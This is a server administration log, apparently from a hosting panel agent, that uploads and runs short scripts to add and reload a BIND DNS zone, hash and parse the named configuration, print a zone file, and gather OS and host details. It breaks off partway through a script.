MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= d19fe29fbd9c0fbcd6b4f0041cc48eda
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:25:17: 

PUT: /tmp/pkp918135

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 14:25:17: 

chmod 755 /tmp/pkp918135; /tmp/pkp918135; rm /tmp/pkp918135

2026-02-09 14:25:20: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 14:25:20: 

PUT: /tmp/pkp948568

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 14:25:20: 

chmod 755 /tmp/pkp948568; /tmp/pkp948568; rm /tmp/pkp948568

2026-02-09 14:25:20: 


zone reload queued


2026-02-09 14:26:13: Establishing a connection
2026-02-09 14:26:13: 

PUT: /tmp/pkp857781

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:26:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp857781; rm /tmp/pkp857781'

2026-02-09 14:26:14: 
2026-02-09 14:26:14: 

PUT: /tmp/pkp192252

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:26:14: 

chmod 755 /tmp/pkp192252; /tmp/pkp192252; rm /tmp/pkp192252

2026-02-09 14:26:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	892
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129423 14400 3600 14400 3600 )
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"IbLYJou1MW2qa90HP1b4HZjVoqNO4qV6HU9sIeiF-qo"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= a6f5ca81adeede69c1b101c1993b263b
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:27:11: Establishing a remote connection
2026-02-09 14:27:19: Establishing a remote connection
2026-02-09 14:27:19: 

PUT: /pkp972237

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-02-09 14:27:19: 

chmod 755 /pkp972237; /pkp972237; rm /pkp972237







STDERR:
rm: cannot remove '/pkp972237': No such file or directory


2026-02-09 14:27:20: 

PUT: /pkp286223

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
